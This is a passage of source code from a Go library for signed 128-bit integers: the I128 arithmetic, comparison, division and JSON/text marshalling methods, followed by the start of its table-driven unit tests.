bits.Sub64(i.lo, uint64(n), 0) 438 | v.hi = i.hi - maxUint64 - borrowed 439 | } else { 440 | v.lo, borrowed = bits.Sub64(i.lo, uint64(n), 0) 441 | v.hi = i.hi - borrowed 442 | } 443 | return v 444 | } 445 | 446 | func (i I128) Neg() (v I128) { 447 | if i.hi == 0 && i.lo == 0 { 448 | return v 449 | } 450 | 451 | if i == MinI128 { 452 | // Overflow case: -MinI128 == MinI128 453 | return i 454 | 455 | } else if i.hi&signBit != 0 { 456 | v.hi = ^i.hi 457 | v.lo = ^(i.lo - 1) 458 | } else { 459 | v.hi = ^i.hi 460 | v.lo = (^i.lo) + 1 461 | } 462 | if v.lo == 0 { // handle overflow 463 | v.hi++ 464 | } 465 | return v 466 | } 467 | 468 | // Abs returns the absolute value of i as a signed integer. 469 | // 470 | // If i == MinI128, overflow occurs such that Abs(i) == MinI128. 471 | // If this is not desired, use AbsU128. 472 | // 473 | func (i I128) Abs() I128 { 474 | if i.hi&signBit != 0 { 475 | i.hi = ^i.hi 476 | i.lo = ^(i.lo - 1) 477 | if i.lo == 0 { // handle carry 478 | i.hi++ 479 | } 480 | } 481 | return i 482 | } 483 | 484 | // AbsU128 returns the absolute value of i as an unsigned integer. All 485 | // values of i are representable using this function, but the type is 486 | // changed. 487 | // 488 | func (i I128) AbsU128() U128 { 489 | if i == MinI128 { 490 | return minI128AsU128 491 | } 492 | if i.hi&signBit != 0 { 493 | i.hi = ^i.hi 494 | i.lo = ^(i.lo - 1) 495 | if i.lo == 0 { // handle carry 496 | i.hi++ 497 | } 498 | } 499 | return U128{hi: i.hi, lo: i.lo} 500 | } 501 | 502 | // Cmp compares i to n and returns: 503 | // 504 | // < 0 if i < n 505 | // 0 if i == n 506 | // > 0 if i > n 507 | // 508 | // The specific value returned by Cmp is undefined, but it is guaranteed to 509 | // satisfy the above constraints. 510 | // 511 | func (i I128) Cmp(n I128) int { 512 | if i.hi == n.hi && i.lo == n.lo { 513 | return 0 514 | } else if i.hi&signBit == n.hi&signBit { 515 | if i.hi > n.hi || (i.hi == n.hi && i.lo > n.lo) { 516 | return 1 517 | } 518 | } else if i.hi&signBit == 0 { 519 | return 1 520 | } 521 | return -1 522 | } 523 | 524 | // Cmp64 compares 'i' to 64-bit int 'n' and returns: 525 | // 526 | // < 0 if i < n 527 | // 0 if i == n 528 | // > 0 if i > n 529 | // 530 | // The specific value returned by Cmp is undefined, but it is guaranteed to 531 | // satisfy the above constraints. 532 | // 533 | func (i I128) Cmp64(n int64) int { 534 | var nhi uint64 535 | var nlo = uint64(n) 536 | if n < 0 { 537 | nhi = maxUint64 538 | } 539 | if i.hi == nhi && i.lo == nlo { 540 | return 0 541 | } else if i.hi&signBit == nhi&signBit { 542 | if i.hi > nhi || (i.hi == nhi && i.lo > nlo) { 543 | return 1 544 | } 545 | } else if i.hi&signBit == 0 { 546 | return 1 547 | } 548 | return -1 549 | } 550 | 551 | func (i I128) Equal(n I128) bool { 552 | return i.hi == n.hi && i.lo == n.lo 553 | } 554 | 555 | func (i I128) Equal64(n int64) bool { 556 | var nhi uint64 557 | var nlo = uint64(n) 558 | if n < 0 { 559 | nhi = maxUint64 560 | } 561 | return i.hi == nhi && i.lo == nlo 562 | } 563 | 564 | func (i I128) GreaterThan(n I128) bool { 565 | if i.hi&signBit == n.hi&signBit { 566 | return i.hi > n.hi || (i.hi == n.hi && i.lo > n.lo) 567 | } else if i.hi&signBit == 0 { 568 | return true 569 | } 570 | return false 571 | } 572 | 573 | func (i I128) GreaterThan64(n int64) bool { 574 | var nhi uint64 575 | var nlo = uint64(n) 576 | if n < 0 { 577 | nhi = maxUint64 578 | } 579 | 580 | if i.hi&signBit == nhi&signBit { 581 | return i.hi > nhi || (i.hi == nhi && i.lo > nlo) 582 | } else if i.hi&signBit == 0 { 583 | return true 584 | } 585 | return false 586 | } 587 | 588 | func (i I128) GreaterOrEqualTo(n I128) bool { 589 | if i.hi == n.hi && i.lo == n.lo { 590 | return true 591 | } 592 | if i.hi&signBit == n.hi&signBit { 593 | return i.hi > n.hi || (i.hi == n.hi && i.lo > n.lo) 594 | } else if i.hi&signBit == 0 { 595 | return true 596 | } 597 | return false 598 | } 599 | 600 | func (i I128) GreaterOrEqualTo64(n int64) bool { 601 | var nhi uint64 602 | var nlo = uint64(n) 603 | if n < 0 { 604 | nhi = maxUint64 605 | } 606 | 607 | if i.hi == nhi && i.lo == nlo { 608 | return true 609 | } 610 | if i.hi&signBit == nhi&signBit { 611 | return i.hi > nhi || (i.hi == nhi && i.lo > nlo) 612 | } else if i.hi&signBit == 0 { 613 | return true 614 | } 615 | return false 616 | } 617 | 618 | func (i I128) LessThan(n I128) bool { 619 | if i.hi&signBit == n.hi&signBit { 620 | return i.hi < n.hi || (i.hi == n.hi && i.lo < n.lo) 621 | } else if i.hi&signBit != 0 { 622 | return true 623 | } 624 | return false 625 | } 626 | 627 | func (i I128) LessThan64(n int64) bool { 628 | var nhi uint64 629 | var nlo = uint64(n) 630 | if n < 0 { 631 | nhi = maxUint64 632 | } 633 | 634 | if i.hi&signBit == nhi&signBit { 635 | return i.hi < nhi || (i.hi == nhi && i.lo < nlo) 636 | } else if i.hi&signBit != 0 { 637 | return true 638 | } 639 | return false 640 | } 641 | 642 | func (i I128) LessOrEqualTo(n I128) bool { 643 | if i.hi == n.hi && i.lo == n.lo { 644 | return true 645 | } 646 | if i.hi&signBit == n.hi&signBit { 647 | return i.hi < n.hi || (i.hi == n.hi && i.lo < n.lo) 648 | } else if i.hi&signBit != 0 { 649 | return true 650 | } 651 | return false 652 | } 653 | 654 | func (i I128) LessOrEqualTo64(n int64) bool { 655 | var nhi uint64 656 | var nlo = uint64(n) 657 | if n < 0 { 658 | nhi = maxUint64 659 | } 660 | 661 | if i.hi == nhi && i.lo == nlo { 662 | return true 663 | } 664 | if i.hi&signBit == nhi&signBit { 665 | return i.hi < nhi || (i.hi == nhi && i.lo < nlo) 666 | } else if i.hi&signBit != 0 { 667 | return true 668 | } 669 | return false 670 | } 671 | 672 | // Mul returns the product of two I128s. 673 | // 674 | // Overflow should wrap around, as per the Go spec. 675 | // 676 | func (i I128) Mul(n I128) (dest I128) { 677 | hi, lo := bits.Mul64(i.lo, n.lo) 678 | hi += i.hi*n.lo + i.lo*n.hi 679 | return I128{hi, lo} 680 | } 681 | 682 | func (i I128) Mul64(n int64) I128 { 683 | nlo := uint64(n) 684 | var nhi uint64 685 | if n < 0 { 686 | nhi = maxUint64 687 | } 688 | hi, lo := bits.Mul64(i.lo, nlo) 689 | hi += i.hi*nlo + i.lo*nhi 690 | return I128{hi, lo} 691 | } 692 | 693 | // QuoRem returns the quotient q and remainder r for y != 0. If y == 0, a 694 | // division-by-zero run-time panic occurs. 695 | // 696 | // QuoRem implements T-division and modulus (like Go): 697 | // 698 | // q = x/y with the result truncated to zero 699 | // r = x - y*q 700 | // 701 | // U128 does not support big.Int.DivMod()-style Euclidean division. 702 | // 703 | // Note: dividing MinI128 by -1 will overflow, returning MinI128, as 704 | // per the Go spec (https://golang.org/ref/spec#Integer_operators): 705 | // 706 | // The one exception to this rule is that if the dividend x is the most 707 | // negative value for the int type of x, the quotient q = x / -1 is equal to x 708 | // (and r = 0) due to two's-complement integer overflow. 709 | // 710 | func (i I128) QuoRem(by I128) (q, r I128) { 711 | qSign, rSign := 1, 1 712 | if i.LessThan(zeroI128) { 713 | qSign, rSign = -1, -1 714 | i = i.Neg() 715 | } 716 | if by.LessThan(zeroI128) { 717 | qSign = -qSign 718 | by = by.Neg() 719 | } 720 | 721 | qu, ru := i.AsU128().QuoRem(by.AsU128()) 722 | q, r = qu.AsI128(), ru.AsI128() 723 | if qSign < 0 { 724 | q = q.Neg() 725 | } 726 | if rSign < 0 { 727 | r = r.Neg() 728 | } 729 | return q, r 730 | } 731 | 732 | func (i I128) QuoRem64(by int64) (q, r I128) { 733 | ineg := i.hi&signBit != 0 734 | if ineg { 735 | i = i.Neg() 736 | } 737 | byneg := by < 0 738 | if byneg { 739 | by = -by 740 | } 741 | 742 | n := uint64(by) 743 | if i.hi < n { 744 | q.lo, r.lo = bits.Div64(i.hi, i.lo, n) 745 | } else { 746 | q.hi, r.lo = bits.Div64(0, i.hi, n) 747 | q.lo, r.lo = bits.Div64(r.lo, i.lo, n) 748 | } 749 | if ineg != byneg { 750 | q = q.Neg() 751 | } 752 | if ineg { 753 | r = r.Neg() 754 | } 755 | return q, r 756 | } 757 | 758 | // Quo returns the quotient x/y for y != 0. If y == 0, a division-by-zero 759 | // run-time panic occurs. Quo implements truncated division (like Go); see 760 | // QuoRem for more details. 761 | func (i I128) Quo(by I128) (q I128) { 762 | qSign := 1 763 | if i.LessThan(zeroI128) { 764 | qSign = -1 765 | i = i.Neg() 766 | } 767 | if by.LessThan(zeroI128) { 768 | qSign = -qSign 769 | by = by.Neg() 770 | } 771 | 772 | qu := i.AsU128().Quo(by.AsU128()) 773 | q = qu.AsI128() 774 | if qSign < 0 { 775 | q = q.Neg() 776 | } 777 | return q 778 | } 779 | 780 | func (i I128) Quo64(by int64) (q I128) { 781 | ineg := i.hi&signBit != 0 782 | if ineg { 783 | i = i.Neg() 784 | } 785 | byneg := by < 0 786 | if byneg { 787 | by = -by 788 | } 789 | 790 | n := uint64(by) 791 | if i.hi < n { 792 | q.lo, _ = bits.Div64(i.hi, i.lo, n) 793 | } else { 794 | var rlo uint64 795 | q.hi, rlo = bits.Div64(0, i.hi, n) 796 | q.lo, _ = bits.Div64(rlo, i.lo, n) 797 | } 798 | if ineg != byneg { 799 | q = q.Neg() 800 | } 801 | return q 802 | } 803 | 804 | // Rem returns the remainder of x%y for y != 0. If y == 0, a division-by-zero 805 | // run-time panic occurs. Rem implements truncated modulus (like Go); see 806 | // QuoRem for more details. 807 | func (i I128) Rem(by I128) (r I128) { 808 | // FIXME: inline only the needed bits 809 | _, r = i.QuoRem(by) 810 | return r 811 | } 812 | 813 | func (i I128) Rem64(by int64) (r I128) { 814 | ineg := i.hi&signBit != 0 815 | if ineg { 816 | i = i.Neg() 817 | } 818 | if by < 0 { 819 | by = -by 820 | } 821 | 822 | n := uint64(by) 823 | if i.hi < n { 824 | _, r.lo = bits.Div64(i.hi, i.lo, n) 825 | } else { 826 | _, r.lo = bits.Div64(0, i.hi, n) 827 | _, r.lo = bits.Div64(r.lo, i.lo, n) 828 | } 829 | if ineg { 830 | r = r.Neg() 831 | } 832 | return r 833 | } 834 | 835 | func (i I128) MarshalText() ([]byte, error) { 836 | return []byte(i.String()), nil 837 | } 838 | 839 | func (i *I128) UnmarshalText(bts []byte) (err error) { 840 | v, _, err := I128FromString(string(bts)) 841 | if err != nil { 842 | return err 843 | } 844 | *i = v 845 | return nil 846 | } 847 | 848 | func (i I128) MarshalJSON() ([]byte, error) { 849 | return []byte(`"` + i.String() + `"`), nil 850 | } 851 | 852 | func (i *I128) UnmarshalJSON(bts []byte) (err error) { 853 | if bts[0] == '"' { 854 | ln := len(bts) 855 | if bts[ln-1] != '"' { 856 | return fmt.Errorf("num: i128 invalid JSON %q", string(bts)) 857 | } 858 | bts = bts[1 : ln-1] 859 | } 860 | 861 | v, _, err := I128FromString(string(bts)) 862 | if err != nil { 863 | return err 864 | } 865 | *i = v 866 | return nil 867 | } 868 | -------------------------------------------------------------------------------- /i128_test.go: -------------------------------------------------------------------------------- 1 | package num 2 | 3 | import ( 4 | "encoding/binary" 5 | "encoding/json" 6 | "encoding/xml" 7 | "fmt" 8 | "math" 9 | "math/big" 10 | "math/rand" 11 | "strings" 12 | "testing" 13 | 14 | "github.com/lightcapitu/go-num/internal/assert" 15 | ) 16 | 17 | var i64 = I128From64 18 | 19 | func bigI64(i int64) *big.Int { return new(big.Int).SetInt64(i) } 20 | func bigs(s string) *big.Int { 21 | v, _ := new(big.Int).SetString(strings.Replace(s, " ", "", -1), 0) 22 | return v 23 | } 24 | 25 | func i128s(s string) I128 { 26 | s = strings.Replace(s, " ", "", -1) 27 | b, ok := new(big.Int).SetString(s, 0) 28 | if !ok { 29 | panic(s) 30 | } 31 | i, acc := I128FromBigInt(b) 32 | if !acc { 33 | panic(fmt.Errorf("num: inaccurate i128 %s", s)) 34 | } 35 | return i 36 | } 37 | 38 | func randI128(scratch []byte) I128 { 39 | rand.Read(scratch) 40 | i := I128{} 41 | i.lo = binary.LittleEndian.Uint64(scratch) 42 | 43 | if scratch[0]%2 == 1 { 44 | // if we always generate hi bits, the universe will die before we 45 | // test a number < maxInt64 46 | i.hi = binary.LittleEndian.Uint64(scratch[8:]) 47 | } 48 | if scratch[1]%2 == 1 { 49 | i = i.Neg() 50 | } 51 | return i 52 | } 53 | 54 | func TestI128Abs(t *testing.T) { 55 | for idx, tc := range []struct { 56 | a, b I128 57 | }{ 58 | {i64(0), i64(0)}, 59 | {i64(1), i64(1)}, 60 | {I128{lo: maxUint64}, I128{lo: maxUint64}}, 61 | {i64(-1), i64(1)}, 62 | {I128{hi: maxUint64}, I128{hi: 1}}, 63 | 64 | {MaxI128, MaxI128}, // Should work 65 | {MinI128, MinI128}, // Overflow 66 | } { 67 | t.Run(fmt.Sprintf("%d/|%s|=%s", idx, tc.a, tc.b), func(t *testing.T) { 68 | tt := assert.WrapTB(t) 69 | result := tc.a.Abs() 70 | tt.MustEqual(tc.b, result) 71 | }) 72 | } 73 | } 74 | 75 | func TestI128AbsU128(t *testing.T) { 76 | for idx, tc := range []struct { 77 | a I128 78 | b U128 79 | }{ 80 | {i64(0), u64(0)}, 81 | {i64(1), u64(1)}, 82 | {I128{lo: maxUint64}, U128{lo: maxUint64}}, 83 | {i64(-1), u64(1)}, 84 | {I128{hi: maxUint64}, U128{hi: 1}}, 85 | 86 | {MinI128, minI128AsAbsU128}, // Overflow does not affect this function 87 | } { 88 | t.Run(fmt.Sprintf("%d/|%s|=%s", idx, tc.a, tc.b), func(t *testing.T) { 89 | tt := assert.WrapTB(t) 90 | result := tc.a.AbsU128() 91 | tt.MustEqual(tc.b, result) 92 | }) 93 | } 94 | } 95 | 96 | func TestI128Add(t *testing.T) { 97 | for idx, tc := range []struct { 98 | a, b, c I128 99 | }{ 100 | {i64(-2), i64(-1), i64(-3)}, 101 | {i64(-2), i64(1), i64(-1)}, 102 | {i64(-1), i64(1), i64(0)}, 103 | {i64(1), i64(2), i64(3)}, 104 | {i64(10), i64(3), i64(13)}, 105 | 106 | // Hi/lo carry: 107 | {I128{lo: 0xFFFFFFFFFFFFFFFF}, i64(1), I128{hi: 1, lo: 0}}, 108 | {I128{hi: 1, lo: 0}, i64(-1), I128{lo: 0xFFFFFFFFFFFFFFFF}}, 109 | 110 | // Overflow: 111 | {I128{hi: 0xFFFFFFFFFFFFFFFF, lo: 0xFFFFFFFFFFFFFFFF}, i64(1), I128{}}, 112 | 113 | // Overflow wraps: 114 | {MaxI128, i64(1), MinI128}, 115 | } { 116 | t.Run(fmt.Sprintf("%d/%s+%s=%s", idx, tc.a, tc.b, tc.c), func(t *testing.T) { 117 | tt := assert.WrapTB(t) 118 | tt.MustAssert(tc.c.Equal(tc.a.Add(tc.b))) 119 | }) 120 | } 121 | } 122 | 123 | func TestI128Add64(t *testing.T) { 124 | for _, tc := range []struct { 125 | a I128 126 | b int64 127 | c I128 128 | }{ 129 | {i64(1), 2, i64(3)}, 130 | {i64(10), 3, i64(13)}, 131 | {MaxI128, 1, MinI128}, // Overflow wraps 132 | } { 133 | t.Run(fmt.Sprintf("%s+%d=%s", tc.a, tc.b, tc.c), func(t *testing.T) { 134 | tt := assert.WrapTB(t) 135 | tt.MustAssert(tc.c.Equal(tc.a.Add64(tc.b))) 136 | }) 137 | } 138 | } 139 | 140 | func TestI128AsBigIntAndIntoBigInt(t *testing.T) { 141 | for idx, tc := range []struct { 142 | a I128 143 | b *big.Int 144 | }{ 145 | {I128{0, 2}, bigI64(2)}, 146 | {I128{0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFE}, bigI64(-2)}, 147 | {I128{0x1, 0x0}, bigs("18446744073709551616")}, 148 | {I128{0x1, 0xFFFFFFFFFFFFFFFF}, bigs("36893488147419103231")}, // (1<<65) - 1 149 | {I128{0x1, 0x8AC7230489E7FFFF}, bigs("28446744073709551615")}, 150 | {I128{0x7FFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF}, bigs("170141183460469231731687303715884105727")}, 151 | {I128{0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF}, bigs("-1")}, 152 | {I128{0x8000000000000000, 0}, bigs("-170141183460469231731687303715884105728")}, 153 | } { 154 | t.Run(fmt.Sprintf("%d/%d,%d=%s", idx, tc.a.hi, tc.a.lo, tc.b), func(t *testing.T) { 155 | tt := assert.WrapTB(t) 156 | v := tc.a.AsBigInt() 157 | tt.MustAssert(tc.b.Cmp(v) == 0, "found: %s", v) 158 | 159 | var v2 big.Int 160 | tc.a.IntoBigInt(&v2) 161 | tt.MustAssert(tc.b.Cmp(&v2) == 0, "found: %s", v2) 162 | }) 163 | } 164 | } 165 | 166 | func TestI128AsFloat64Random(t *testing.T) { 167 | tt := assert.WrapTB(t) 168 | 169 | bts := make([]byte, 16) 170 | 171 | for i := 0; i < 1000; i++ { 172 | for bits := uint(1); bits <= 127; bits++ { 173 | rand.Read(bts) 174 | 175 | var loMask, hiMask uint64 176 | var loSet, hiSet uint64 177 | if bits > 64 { 178 | loMask = maxUint64 179 | hiMask = (1 << (bits - 64)) - 1 180 | hiSet = 1 << (bits - 64 - 1) 181 | } else { 182 | loMask = (1 << bits) - 1 183 | loSet = 1 << (bits - 1) 184 | } 185 | 186 | num := I128{} 187 | num.lo = (binary.LittleEndian.Uint64(bts) & loMask) | loSet 188 | num.hi = (binary.LittleEndian.Uint64(bts[8:]) & hiMask) | hiSet 189 | 190 | for neg := 0; neg <= 1; neg++ { 191 | if neg == 1 { 192 | num = num.Neg() 193 | } 194 | 195 | af := num.AsFloat64() 196 | bf := new(big.Float).SetFloat64(af) 197 | rf := num.AsBigFloat() 198 | 199 | diff := new(big.Float).Sub(rf, bf) 200 | pct := new(big.Float).Quo(diff, rf) 201 | tt.MustAssert(pct.Cmp(floatDiffLimit) < 0, "%s: %.20f > %.20f", num, diff, floatDiffLimit) 202 | } 203 | } 204 | } 205 | } 206 | 207 | func TestI128AsFloat64(t *testing.T) { 208 | for _, tc := range []struct { 209 | a I128 210 | }{ 211 | {i128s("-120")}, 212 | {i128s("12034267329883109062163657840918528")}, 213 | {MaxI128}, 214 | } { 215 | t.Run(fmt.Sprintf("float64(%s)", tc.a), func(t *testing.T) { 216 | tt := assert.WrapTB(t) 217 | 218 | af := tc.a.AsFloat64() 219 | bf := new(big.Float).SetFloat64(af) 220 | rf := tc.a.AsBigFloat() 221 | 222 | diff := new(big.Float).Sub(rf, bf) 223 | pct := new(big.Float).Quo(diff, rf) 224 | tt.MustAssert(pct.Cmp(floatDiffLimit) < 0, "%s: %.20f > %.20f", tc.a, diff, floatDiffLimit) 225 | }) 226 | } 227 | } 228 | 229 | func TestI128AsInt64(t *testing.T) { 230 | for idx, tc := range []struct { 231 | a I128 232 | out int64 233 | }{ 234 | {i64(-1), -1}, 235 | {i64(minInt64), minInt64}, 236 | {i64(maxInt64), maxInt64}, 237 | {i128s("9223372036854775808"), minInt64}, // (maxInt64 + 1) overflows to min 238 | {i128s("-9223372036854775809"), maxInt64}, // (minInt64 - 1) underflows to max 239 | } { 240 | t.Run(fmt.Sprintf("%d/int64(%s)=%d", idx, tc.a, tc.out), func(t *testing.T) { 241 | tt := assert.WrapTB(t) 242 | iv := tc.a.AsInt64() 243 | tt.MustEqual(tc.out, iv) 244 | }) 245 | } 246 | } 247 | 248 | func TestI128Cmp(t *testing.T) { 249 | for idx, tc := range []struct { 250 | a, b I128 251 | result int 252 | }{ 253 | {i64(0), i64(0), 0}, 254 | {i64(1), i64(0), 1}, 255 | {i64(10), i64(9), 1}, 256 | {i64(-1), i64(1), -1}, 257 | {i64(1), i64(-1), 1}, 258 | {MinI128, MaxI128, -1}, 259 | } { 260 | t.Run(fmt.Sprintf("%d/%s-1=%s", idx, tc.a, tc.b), func(t *testing.T) { 261 | tt := assert.WrapTB(t) 262 | result := tc.a.Cmp(tc.b) 263 | tt.MustEqual(tc.result, result) 264 | }) 265 | } 266 | } 267 | 268 | func TestI128Dec(t *testing.T) { 269 | for _, tc := range []struct { 270 | a, b I128 271 | }{ 272 | {i64(1), i64(0)}, 273 | {i64(10), i64(9)}, 274 | {MinI128, MaxI128}, // underflow 275 | {I128{hi: 1}, I128{lo: 0xFFFFFFFFFFFFFFFF}}, // carry 276 | } { 277 | t.Run(fmt.Sprintf("%s-1=%s", tc.a, tc.b), func(t *testing.T) { 278 | tt := assert.WrapTB(t) 279 | dec := tc.a.Dec() 280 | tt.MustAssert(tc.b.Equal(dec), "%s - 1 != %s, found %s", tc.a, tc.b, dec) 281 | }) 282 | } 283 | } 284 | 285 | func TestI128Format(t *testing.T) { 286 | for _, tc := range []struct { 287 | in I128 288 | f string 289 | out string 290 | }{ 291 | {i64(123456789), "%d", "123456789"}, 292 | {i64(12), "%2d", "12"}, 293 | {i64(12), "%3d", " 12"}, 294 | {i64(12), "%02d", "12"}, 295 | {i64(12), "%03d", "012"}, 296 | {i64(123456789), "%s", "123456789"}, 297 | } { 298 | t.Run("", func(t *testing.T) { 299 | tt := assert.WrapTB(t) 300 | tt.MustEqual(tc.out, fmt.Sprintf(tc.f, tc.in)) 301 | }) 302 | } 303 | } 304 | 305 | func TestI128From64(t *testing.T) { 306 | for idx, tc := range []struct { 307 | in int64 308 | out I128 309 | }{ 310 | {0, i64(0)}, 311 | {maxInt64, i128s("0x7F FF FF FF FF FF FF FF")}, 312 | {-1, i128s("-1")}, 313 | {minInt64, i128s("-9223372036854775808")}, 314 | } { 315 | t.Run(fmt.Sprintf("%d/%d=%s", idx, tc.in, tc.out), func(t *testing.T) { 316 | tt := assert.WrapTB(t) 317 | result := I128From64(tc.in) 318 | tt.MustEqual(tc.out, result, "found: (%d, %d), expected (%d, %d)", result.hi, result.lo, tc.out.hi, tc.out.lo) 319 | }) 320 | } 321 | } 322 | 323 | func TestI128FromBigInt(t *testing.T) { 324 | for idx, tc := range []struct { 325 | a *big.Int 326 | b I128 327 | }{ 328 | {bigI64(0), i64(0)}, 329 | {bigI64(2), i64(2)}, 330 | {bigI64(-2), i64(-2)}, 331 | {bigs("18446744073709551616"), I128{0x1, 0x0}}, // 1 << 64 332 | {bigs("36893488147419103231"), I128{0x1, 0xFFFFFFFFFFFFFFFF}}, // (1<<65) - 1 333 | {bigs("28446744073709551615"), i128s("28446744073709551615")}, 334 | {bigs("170141183460469231731687303715884105727"), i128s("170141183460469231731687303715884105727")}, 335 | {bigs("-1"), I128{0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF}}, 336 | } { 337 | t.Run(fmt.Sprintf("%d/%s=%d,%d", idx, tc.a, tc.b.lo, tc.b.hi), func(t *testing.T) { 338 | tt := assert.WrapTB(t) 339 | v := accI128FromBigInt(tc.a) 340 | tt.MustAssert(tc.b.Cmp(v) == 0, "found: (%d, %d), expected (%d, %d)", v.hi, v.lo, tc.b.hi, tc.b.lo) 341 | }) 342 | } 343 | } 344 | 345 | func TestI128FromFloat64(t *testing.T) { 346 | for idx, tc := range []struct { 347 | f float64 348 | out I128 349 | inRange bool 350 | }{ 351 | {math.NaN(), i128s("0"), false}, 352 | {math.Inf(0), MaxI128, false}, 353 | {math.Inf(-1), MinI128, false}, 354 | } { 355 | t.Run(fmt.Sprintf("%d/fromfloat64(%f)==%s", idx, tc.f, tc.out), func(t *testing.T) { 356 | tt := assert.WrapTB(t) 357 | 358 | rn, inRange := I128FromFloat64(tc.f) 359 | tt.MustEqual(tc.inRange, inRange) 360 | diff := DifferenceI128(tc.out, rn) 361 | 362 | ibig, diffBig := tc.out.AsBigFloat(), diff.AsBigFloat() 363 | pct := new(big.Float) 364 | if diff != zeroI128 { 365 | pct.Quo(diffBig, ibig) 366 | } 367 | pct.Abs(pct) 368 | tt.MustAssert(pct.Cmp(floatDiffLimit) < 0, "%s: %.20f > %.20f", tc.out, pct, floatDiffLimit) 369 | }) 370 | } 371 | } 372 | 373 | func TestI128FromFloat64Random(t *testing.T) { 374 | tt := assert.WrapTB(t) 375 | 376 | bts := make([]byte, 16) 377 | 378 | for i := 0; i < 100000; i++ { 379 | rand.Read(bts) 380 | 381 | num := I128{} 382 | num.lo = binary.LittleEndian.Uint64(bts) 383 | num.hi = binary.LittleEndian.Uint64(bts[8:]) 384 | rbf := num.AsBigFloat() 385 | 386 | rf, _ := rbf.Float64() 387 | rn, acc := I128FromFloat64(rf) 388 | tt.MustAssert(acc) 389 | diff := DifferenceI128(num, rn) 390 | 391 | ibig, diffBig := num.AsBigFloat(), diff.AsBigFloat() 392 | pct := new(big.Float).Quo(diffBig, ibig) 393 | tt.MustAssert(pct.Cmp(floatDiffLimit) < 0, "%s: %.20f > %.20f", num, pct, floatDiffLimit) 394 | } 395 | } 396 | 397 | func TestI128FromSize(t *testing.T) { 398 | tt := assert.WrapTB(t) 399 | tt.MustEqual(I128From8(127), i128s("127")) 400 | tt.MustEqual(I128From8(-128), i128s("-128")) 401 | tt.MustEqual(I128From16(32767), i128s("32767")) 402 | tt.MustEqual(I128From16(-32768), i128s("-32768")) 403 | tt.MustEqual(I128From32(2147483647), i128s("2147483647")) 404 | tt.MustEqual(I128From32(-2147483648), i128s("-2147483648")) 405 | } 406 | 407 | func TestI128Inc(t *testing.T) { 408 | for idx, tc := range []struct { 409 | a, b I128 410 | }{ 411 | {i64(-1), i64(0)}, 412 | {i64(-2), i64(-1)}, 413 | {i64(1), i64(2)}, 414 | {i64(10), i64(11)}, 415 | {i64(maxInt64), i128s("9223372036854775808")}, 416 | {i128s("18446744073709551616"), i128s("18446744073709551617")}, 417 | {i128s("-18446744073709551617"), i128s("-18446744073709551616")}, 418 | } { 419 | t.Run(fmt.Sprintf("%d/%s+1=%s", idx, tc.a, tc.b), func(t *testing.T) { 420 | tt := assert.WrapTB(t) 421 | inc := tc.a.Inc() 422 | tt.MustAssert(tc.b.Equal(inc), "%s + 1 != %s, found %s", tc.a, tc.b, inc) 423 | }) 424 | } 425 | } 426 | 427 | func TestI128IsInt64(t *testing.T) { 428 | for idx, tc := range []struct { 429 | a I128 430 | is bool 431 | }{ 432 | {i64(-1), true}, 433 | {i64(minInt64), true}, 434 | {i64(maxInt64), true}, 435 | {i128s("9223372036854775808"), false}, // (maxInt64 + 1) 436 | {i128s("-9223372036854775809"), false}, // (minInt64 - 1) 437 | } { 438 | t.Run(fmt.Sprintf("%d/isint64(%s)=%v", idx, tc.a, tc.is), func(t *testing.T) { 439 | tt := assert.WrapTB(t) 440 | iv := tc.a.IsInt64() 441 | tt.MustEqual(tc.is, iv) 442 | }) 443 | } 444 | } 445 | 446 | func TestI128MarshalJSON(t *testing.T) { 447 | tt := assert.WrapTB(t) 448 | bts := make([]byte, 16) 449 | 450 | for i := 0; i < 5000; i++ { 451 | n := randI128(bts) 452 | 453 | bts, err := json.Marshal(n) 454 | tt.MustOK(err) 455 | 456 | var result I128 457 | tt.MustOK(json.Unmarshal(bts, &result)) 458 | tt.MustAssert(result.Equal(n)) 459 | } 460 | } 461 | 462 | func TestI128MarshalText(t *testing.T) { 463 | tt := assert.WrapTB(t) 464 | bts := make([]byte, 16) 465 | 466 | type Encoded struct { 467 | Num I128 468 | } 469 | 470 | for i := 0; i < 5000; i++ { 471 | n := randI128(bts) 472 | 473 | var v = Encoded{Num: n} 474 | 475 | out, err := xml.Marshal(&v) 476 | tt.MustOK(err) 477 | 478 | tt.MustEqual(fmt.Sprintf("%s", n.String()), string(out)) 479 | 480 | var v2 Encoded 481 | tt.MustOK(xml.Unmarshal(out, &v2)) 482 | 483 | tt.MustEqual(v2.Num, n) 484 | } 485 | } 486 | 487 | func TestI128Mul(t *testing.T) { 488 | for _, tc := range []struct { 489 | a, b, out I128 490 | }{ 491 | {i64(1), i64(0), i64(0)}, 492 | {i64(-2), i64(2), i64(-4)}, 493 | {i64(-2), i64(-2), i64(4)}, 494 | {i64(10), i64(9), i64(90)}, 495 | {i64(maxInt64), i64(maxInt64), i128s("85070591730234615847396907784232501249")}, 496 | {i64(minInt64), i64(minInt64), i128s("85070591730234615865843651857942052864")}, 497 | {i64(minInt64), i64(maxInt64), i128s("-85070591730234615856620279821087277056")}, 498 | {MaxI128, i64(2), i128s("-2")}, // Overflow. "math.MaxInt64 * 2" produces the same result, "-2". 499 | {MaxI128, MaxI128, i128s("1")}, // Overflow 500 | } { 501 | t.Run(fmt.Sprintf("%s*%s=%s", tc.a, tc.b, tc.out), func(t *testing.T) { 502 | tt := assert.WrapTB(t) 503 | 504 | v := tc.a.Mul(tc.b) 505 | tt.MustAssert(tc.out.Equal(v), "%s * %s != %s, found %s", tc.a, tc.b, tc.out, v) 506 | }) 507 | } 508 | } 509 | 510 | func TestI128MustInt64(t *testing.T) { 511 | for _, tc := range []struct { 512 | a I128 513 | ok bool 514 | }{ 515 | {i64(0), true}, 516 | {i64(1), true}, 517 | {i64(maxInt64), true}, 518 | {i128s("9223372036854775808"), false}, 519 | {MaxI128, false}, 520 | 521 | {i64(-1), true}, 522 | {i64(minInt64), true}, 523 | {i128s("-9223372036854775809"), false}, 524 | {MinI128, false}, 525 | } { 526 | t.Run(fmt.Sprintf("(%s).64?==%v", tc.a, tc.ok), func(t *testing.T) { 527 | tt := assert.WrapTB(t) 528 | defer func() { 529 | tt.Helper() 530 | tt.MustAssert((recover() == nil) == tc.ok) 531 | }() 532 | 533 | tt.MustEqual(tc.a, I128From64(tc.a.MustInt64())) 534 | }) 535 | } 536 | } 537 | 538 